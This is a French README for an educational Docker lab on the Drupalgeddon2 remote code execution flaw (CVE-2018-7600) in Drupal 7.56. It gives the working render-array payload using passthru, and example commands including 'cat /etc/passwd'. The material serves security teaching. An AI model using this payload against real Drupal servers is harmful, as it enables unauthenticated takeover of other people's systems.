Laboratoire de vulnérabilité CVE-2018-7600 Drupalgeddon2

Laboratoire pédagogique démontrant l'exploitation de CVE-2018-7600 (Drupalgeddon2) à l'aide d'un environnement Drupal 7.56 vulnérable déployé avec Docker.

Ce projet simule un flux de travail réaliste d'évaluation de vulnérabilités, comprenant :

• Mise en place de l'environnement vulnérable
• Détection (scanner)
• Exploitation (RCE)
• Analyse des payloads
• Documentation

Aperçu de la vulnérabilité

CVE-2018-7600 (Drupalgeddon2) est une vulnérabilité critique d'exécution de code à distance (RCE) dans le CMS Drupal.

Le problème se trouve dans la Form API de Drupal, où une entrée contrôlée par l'utilisateur peut être interprétée comme un tableau de rendu (render array), permettant à un attaquant d'injecter des callbacks malveillants tels que :

• passthru
• system
• exec

Cela conduit à une exécution de commandes non authentifiée sur le serveur.

Impact

• Exécution de code à distance
• Aucune authentification requise
• Compromission totale du serveur

Version cible

• Drupal 7.56 (vulnérable)

Architecture du laboratoire

Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database

Technologies utilisées

• Docker
• Docker Compose
• Drupal CMS
• MySQL
• Kali Linux
• Python (Exploit et scanner)

Structure du dépôt

cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│   └── docker-compose.yml
│
├── screenshots/
│   ├── drupal-dashboard.png
│   ├── drupal-version.png
│   └── rce-output.png
│
├── logs/
│   ├── scan_results.txt
│   └── exploit_log.txt
│
├── payloads/
│   └── payload-list.txt
│
├── report/
│   └── drupalgeddon2-report.pdf

Captures d'écran

Tableau de bord Drupal

Confirmation de la version

Démarrage rapide

Cloner le dépôt

git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab

Démarrer le laboratoire

docker compose up -d

Accéder à la cible

http://localhost:8080

Détection et exploitation

1. Scanner la vulnérabilité

python3 scan.py http://localhost:8080

Exemple de sortie :

[~] Scanning http://localhost:8080... VULNERABLE

2. Exploitation (RCE)

python3 exploit.py http://localhost:8080 id

Exemple de sortie :

uid=33(www-data) gid=33(www-data)

Exemple de payload

Structure de base du payload utilisée :

name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami

Exemples de commandes :

whoami
id
cat /etc/passwd

Liste complète des payloads disponible dans :

payloads/payload-list.txt

Stratégie de documentation

Pour conserver une structure de dépôt propre et professionnelle :

Le README contient :

• Aperçu de la vulnérabilité
• Instructions de configuration du laboratoire
• Exemples de payloads de base
• Comment exécuter le scanner et l'exploit

Le rapport PDF (report/drupalgeddon2-report.pdf) contient :

• Étapes d'exploitation détaillées
• Requêtes et réponses Burp Suite
• Résultats des tests de payloads
• Captures d'écran d'exécution
• Explication technique de la vulnérabilité

Cette séparation garantit :

• Une présentation GitHub propre
• Une documentation technique complète

Objectif pédagogique

Ce laboratoire est destiné à :

• Étudiants en cybersécurité
• Pratique du test d'intrusion
• Recherche de vulnérabilités
• Apprentissage du développement d'exploits

Avertissement

Ce projet est destiné uniquement à des fins éducatives et de recherche.

N'essayez pas d'exploiter des systèmes sans autorisation explicite.

Les auteurs ne sont pas responsables de toute mauvaise utilisation.